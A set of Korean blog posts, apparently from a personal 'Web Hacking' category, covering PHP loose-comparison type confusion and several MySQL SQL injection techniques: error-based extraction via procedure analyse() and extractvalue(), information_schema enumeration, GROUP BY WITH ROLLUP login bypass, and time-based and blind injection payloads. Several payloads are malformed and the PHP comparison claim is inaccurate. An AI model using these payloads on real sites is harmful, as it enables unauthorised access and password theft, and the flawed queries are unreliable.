PHP는 자료형을 선언하지 않는 언어이다 보니 
데이터를 비교할때 ==(느슨한 비교, 내부의 데이터만 비교) 보다는 ===(강력한 비교, 자료형과 데이터가 모두 일치해야 참)를 사용하는것이 좋다


실제 예로 


<input type="text" value=[]>

같이 front에서 배열 형태로 보내는 값을 back 단에서 ==으로 비교하게 될 경우에 문제가 생긴다



예를 들어

"abcd" == "abcd"  (True)

이렇게 비밀번호를 입력받아 비교하는 로직이 있을경우에 

front 쪽에서 배열로 보내서 비교를 하게되면 


[] == "abcd" (True)


True를 반환해버리는 오류가 발생한다 
PHP는 자료형이 없기때문에 특히나 조심해야 하는 부분

물론 이게 터질만큼 대충 짜논 사이트가 많지는 않겠지만 워낙 레거시 스타일로 작성된 PHP 사이트가 많아서 터질 가능성도 있다 혹은 오류가 나거나

참고 
http://phpcheatsheets.com/compare/

'Web Hacking' 카테고리의 다른 글

Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24


grave accecnt 였나

애를 파라미터로 입력받는 변수 앞뒤에 넣어서 지정하면 어지간한 injection은 다 막는듯 하다


자세한건 나중에




=> 내용수정 (2018.12.20)

일단 MYSQL 공식 문서에선 grave accent를 문자열 혹은 프로시저 파라미터 변수의 구분값으로 쓴다는 내용은 못찾았다

injection을 막아주지도 못한다 

다만 잘 알려지지 않은 구분자다 보니 일반적인 ' or '1'='1 이런식으로 공격을 날리면 먹히지 않는다

결론

=> injection을 막아주진 못하지만 잘 알려지지 않은 구문자다 보니 공격할때 써볼 것 같진 않다

'Web Hacking' 카테고리의 다른 글

PHP Type Confusion  (0) 2018.12.20
Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24


'Web Hacking' 카테고리의 다른 글

PHP Type Confusion  (0) 2018.12.20
Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
 [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]



limit 절 뒤에 사용가능한 함수는 그리 많지 않습니다. 그중에서도 SQL Injection에 쓰이는것은

procedure analyse()라는 함수입니다. 이 함수는 현재 실행중인 컬럼에 대한 정보를 사용가능하게 해줍니다.


이 함수를 이용하면 



mysql> select * from user where id='admin' limit 1 procedure analyse();

+--------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+------+------------------

------+

| Field_name         | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std  | Optimal_fieldtype

      |

+--------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+------+------------------

------+

| user.user.id       | admin     | admin     |          5 |          5 |                0 |     0 | 5.0000                  | NULL | ENUM('admin') NOT

 NULL |


좀 깨졌지만 이렇게 컬럼의 정보에 대해서 알 수 있다.



이렇게 현재 컬럼의 테이블명과 기타 정보들이 노출됩니다.

하지만 저 procedure analyse()함수 안에서도 다른 값을 뽑아낼 수 있습니다.


그중에서 사용되는 함수는 다양하지만 

extractvalue()라는 함수가 있습니다.


mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>



이렇게 하면 version을 뽑을 수 있습니다.

그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다. 






'Web Hacking' 카테고리의 다른 글

Mysql 프로시저 생성시 특수문자 escape  (0) 2017.08.03
Double Query Injection  (2) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24

DataBase는 다양한 정보의 집합이다.

하지만 방대한 양의 데이터를 하나하나 처리하기 위해선 시간이 오래걸리므로 미리 데이터에 대한 정보를 정리해 놓는다.

이것을 메타데이터라고 하는데 information_schema는 메타데이터의 메타데이터라고 보면 된다.

DB안의 정리된 정보를 다시 한번 정리한 정보를 담아 놓은 것이다.




mysql> show tables;

+---------------------------------------+

| Tables_in_information_schema          |

+---------------------------------------+

| CHARACTER_SETS                        |

| COLLATIONS                            |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS                               |

| COLUMN_PRIVILEGES                     |

| ENGINES                               |

| EVENTS                                |

| FILES                                 |

| GLOBAL_STATUS                         |

| GLOBAL_VARIABLES                      |

| KEY_COLUMN_USAGE                      |

| PARTITIONS                            |

| PLUGINS                               |

| PROCESSLIST                           |

| PROFILING                             |

| REFERENTIAL_CONSTRAINTS               |

| ROUTINES                              |

| SCHEMATA                              |

| SCHEMA_PRIVILEGES                     |

| SESSION_STATUS                        |

| SESSION_VARIABLES                     |

| STATISTICS                            |

| TABLES                                |

| TABLE_CONSTRAINTS                     |

| TABLE_PRIVILEGES                      |

| TRIGGERS                              |

| USER_PRIVILEGES                       |

| VIEWS                                 |

+---------------------------------------+

28 rows in set (0.00 sec)


information_schema 안에는 다양한 테이블이 있다.




CHARACTER_SETS  : DB의 언어셋에 대한 정보

COLLATIONS : 각각의 캐릭터 셋에 대한 정보

COLLATION_CHARACTER_SET_APPLICABILITY  : ?????

COLUMNS : 각 테이블의 컬럼에 대한 정보

COLUMN_PRIVILEGES : 컬럼권한에 대한 정보, mysql.columns_priv에서 정보를 가져온다.

ENGINES : 스토리지 엔진에 대한 정보

EVENTS : 스케줄된 이벤트에 대한 정보

FILES : MySQL NDB 디스크의 메타데이터

GLOBAL_STATUS  : 서버 상태 변수에 대한 정보

GLOBAL_VARIABLES  : 서버 상태 변수에 대한 정보

KEY_COLUMN_USAGE : 키 컬럼 제한에 대한 정보

PARTITIONS : 테이블 파티션에 대한 정보 

PROCESSLIST : 현재 DataBase에서 실행되고 있는 쿼리문에 대한 정보

PROFILING : statement profiling information ???

REFERENTIAL_CONSTRAINTS : 외래키에 대한 정보

ROUTINES : 저장 프로시져와 함수에 대한 정보

SCHEMATA : 데이터베이스에 대한 정보

SCHEMA_PRIVILEGES : 데이터베이스의 권한에 대한 정보

SESSION_STATUS : 서버 상태 변수에 대한 정보

SESSION_VARIABLES : 서버 상태 변수에 대한 정보

STATISTICS : 테이블 색인정보

TABLES : 데이터베이스에 있는 테이블에 대한 정보

TABLE_CONSTRAINTS : 어떤 테이블이 제약을 갖고 있는지에 대한 정보

TABLE_PRIVILEGES : 테이블 권한에 대한 정보

TRIGGERS : 데이터베이스의 트리거에 대한 정보

USER_PRIVILEGES : 사용자 권한에 대한 정보

VIEWS : 데이터베이스 안의 view에 대한 정보


view : 하나 이상의 테이블에서 선언된 가상의 테이블이다.


이중에서 SQL Injection에 많이 사용되는 테이블들은


COLUMNS, PARTITIONS, SCHEMA, TABLES 등이 가장 많이 쓰인다.


COLUMNS 테이블 


mysql> desc columns;

+--------------------------+---------------------+------+-----+---------+-------+

| Field                    | Type                | Null | Key | Default | Extra |

+--------------------------+---------------------+------+-----+---------+-------+

| TABLE_CATALOG            | varchar(512)        | YES  |     | NULL    |       |

| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |

| TABLE_NAME               | varchar(64)         | NO   |     |         |       |

| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |

| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |

| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |

| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |

| DATA_TYPE                | varchar(64)         | NO   |     |         |       |

| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |

| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |

| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |

| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |

| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |

| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |

| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |

| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |

| EXTRA                    | varchar(27)         | NO   |     |         |       |

| PRIVILEGES               | varchar(80)         | NO   |     |         |       |

| COLUMN_COMMENT           | varchar(255)        | NO   |     |         |       |

+--------------------------+---------------------+------+-----+---------+-------+

19 rows in set (0.02 sec)


table_schema라는 DB의 이름을 뜻하고 table_name은 현재 컬럼이 속해 있는 테이블에 대한 정보다.


select * from information_schema.columns where table_name='user';

TABLE이름이 user인 모든 컬럼을 검색한다.


column_name은 모든 컬럼에 대한 정보를 갖고 있다.


보통 SQL Injection을 할때는 DB이름->TABLE이름->COLUMN이름 순으로 알아낸다. 


mysql> select column_name from information_schema.columns where table_schema='user';

+-------------+

| column_name |

+-------------+

| id          |

| password    |

+-------------+

2 rows in set (0.02 sec)


이렇게 컬럼명을 알아낼 수 있다. 



보통 사람들은 information_schema.tables에서 정보를 많이 뽑는데 partitions에서도 똑같은 정보를 뽑을 수 있다. 

PARTITIONS 테이블 



mysql> select table_name from information_schema.partitions where table_schema='user';

+------------+

| table_name |

+------------+

| user       |

+------------+

1 row in set (0.01 sec)


데이터베이스 명과 테이블명이 모두 user여서 헷갈릴 수 있다.

더 자세한 내용은 후에 추가하겠습니다.











'Web Hacking' 카테고리의 다른 글

Double Query Injection  (2) 2015.09.07
Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24

mysql> select * from member  group by 2 with rollup;

+-------+------+

| id    | pw   |

+-------+------+

| admin | 1234 |

| admin | NULL |

+-------+------+

2 rows in set (0.00 sec)



mysql> select * from user group by 2 with rollup limit 1,2;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


이렇게 되면 ()를 쓰는 함수를 쓰지 안아도 우회가 가능하다. 

아이디만 맞으면 로그인이 가능하다. 

rollup함수는 그룹 조건에 따라 컬럼을 그룹화하고 그 데이터의 총합을 구해주는 함수다. 하지만 문자열의 총합을 구하게 되면 

NULL값을 반환하기 때문에 SQL Injection에 악용될수 있다. 



보통 로그인에는 limtit 1이 사용된다. 그렇기 때문에 뒤에 offset 1 을 쓰면 하나는 생략하고 출력한다는 의미다.

이렇게 해도 로그인 우회가 가능하다. 


mysql> select * from user group by 2 with rollup limit 1 offset 1;

+-------+----------+

| id    | password |

+-------+----------+

| admin | NULL     |

+-------+----------+

1 row in set (0.00 sec)


mysql>



'Web Hacking' 카테고리의 다른 글

Procedure analyse()를 이용한 SQL Injection  (0) 2015.09.07
DataBase(information_schema)  (2) 2015.09.04
SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24

http://hides.kr/247

http://hyunmini.tistory.com/49


진법변환을 이용한 SQL Injection 8번의 비교만으로 문자열 뽑기


이진검색

문자열을 이진검색을 이용하여 절반씩 나눠가며 검색


나중에 파이썬 코드 추가

'Web Hacking' 카테고리의 다른 글

DataBase(information_schema)  (2) 2015.09.04
Group By SQL Injection  (1) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24

substr()

substring()

ascii()

left()

right()

mid()

reverse()


%

_


like

lpad()

conv()

ord()

char()

bin()

regexp

if()

extractvalue()

case()

nullif()

ifnull()

isnull()

in()

between()

nvl() : ORACLE 함수  

cast()

coalesce()

concat()

group_concat()


'Web Hacking' 카테고리의 다른 글

Group By SQL Injection  (1) 2015.08.24
SQL Injection Tips  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24

Time Based SQL Injection은 말 그대로 시간을 이용한 공격이다.

왠만한 Blind SQL Injection을 했을때 결과가 참인지 거짓인지 알수 없을때 이 방법을 시도 해보는것도 좋다.

주로 time()함수와 benchmark()함수가 이용된다.


select * from user id='admin' and pw=' ' and if(ascii(substr(pw,1,1))<=120,sleep(3),0)#';


이 함수는 pw의 첫번째 문자가 아스키값 120이하라면 sleep 함수를 통해 3초동안 쉬는 공격 구문이다.

if()함수가 막히면 이렇게도 할 수 있다.

select * from user id='admin' and pw=' ' and sleep(ascii(substr(pw,1,1)))#';

pw의 첫번째 문자의 아스키 값만큼 시간을 지연시킨다. 물론 효율적인 공격 코드를 짜기 위해서 시간을 빼거나 나누어 주면 된다.


만약 substr()과 if()함수가 막혔다면 이렇게도 할 수 있다.


select * from user id='admin' and pw=' ' or (sleep(right(left(pw),1,1)))#';


이렇게 된다면 pw의 길이만큼 시간을 지연시킨다.

select * from user id='admin' and pw=' ' or (sleep(length(pw)))#';


공격을 하기전에 미리 길이를 알아놓을떄 편하다.


물론 이 글도 기억나는 대로 추가하겠습니다.

'Web Hacking' 카테고리의 다른 글

SQL Injection Tips  (0) 2015.08.24
useful MYSQL Functions  (0) 2015.08.24
Blind SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24

Blind SQL Injection은 말 그대로 Blind 못보는 상태에서 '때려맞추는' 것이다.

만약 로그인을 할때 아이디와 패스워드를 모두 비교한다면 어떨까?


select * from user where id='$id' and pw='$pw';


후에 결과값을 받은 배열에서 

row['id']==$id && row['pw']==$pw

이렇게 비교를 하게 된다면 ' or '1'='1 같은 논리적 SQL Injection은 먹히지 않게 된다.


이떄 비밀번호의 문자열을 때려맞추는 것이 Blind SQL Injection이다


select * from user where id='admin' and pw='1' AND ascii(substr(pw,1,1))<=120#';


이렇게 된다면 쿼리문의 내용은 

아이디가 admin이면서 pw의 첫번째 값이 아스키 값으로 120이하라면 참이라는 결과를 반환한다.



ascii()라는 함수는 해당 문자의 아스키 값을 반환하고

substr(컬럼,시작 문자의 자릿수, 가져올 문자의 수)

만약 pw가  abcd라면 substr(pw,2,1) 은 pw에서 2번쨰 자리에서 1글자 만큼 가져오라는 뜻이다.

물론 대부분의 사이트들은 substr()이나   substring()같은 함수를 막기 떄문에 

left(), mid(), right() 같이 문자열에 접근 할 수 있는 다양한 함수들을 사용한다. 



자 pw가 abcd라고 친다면 

select * from user where id='admin' and pw='1' AND ascii(substr(pw,1,1))<=120#';

하면 참이 나온다. 

이럴땐 과감하게 반으로 자른다.


select * from user where id='admin' and pw='1' AND ascii(substr(pw,1,1))<=60#';

거짓이 나온다 즉 아스키값 60보다는 크다는 이야기


select * from user where id='admin' and pw='1' AND ascii(substr(pw,1,1))<=100#';

참이 나온다 100보다 작다고 나온다.


select * from user where id='admin' and pw='1' AND ascii(substr(pw,1,1))<=97#';

이렇게 하나하나 참과 거짓을 비교해가며 찾는것이 Blind SQL Injection이다. 

물론  Blind SQL Injection을 막기 위해 엄청난게 많은 함수를 필터링 하지만 

웹 해커들은 별에 별 함수를 다 이용해서 뚫는다. 이때 사용되는 함수들에 대해서는 후에 다시 한번 추가 하겠습니다.



'Web Hacking' 카테고리의 다른 글

useful MYSQL Functions  (0) 2015.08.24
Time Base SQL Injection  (0) 2015.08.24
Union SQL Injection  (0) 2015.08.24
SQL Injection 2  (0) 2015.08.24
SQL Injection 1  (0) 2015.08.15

+ Recent posts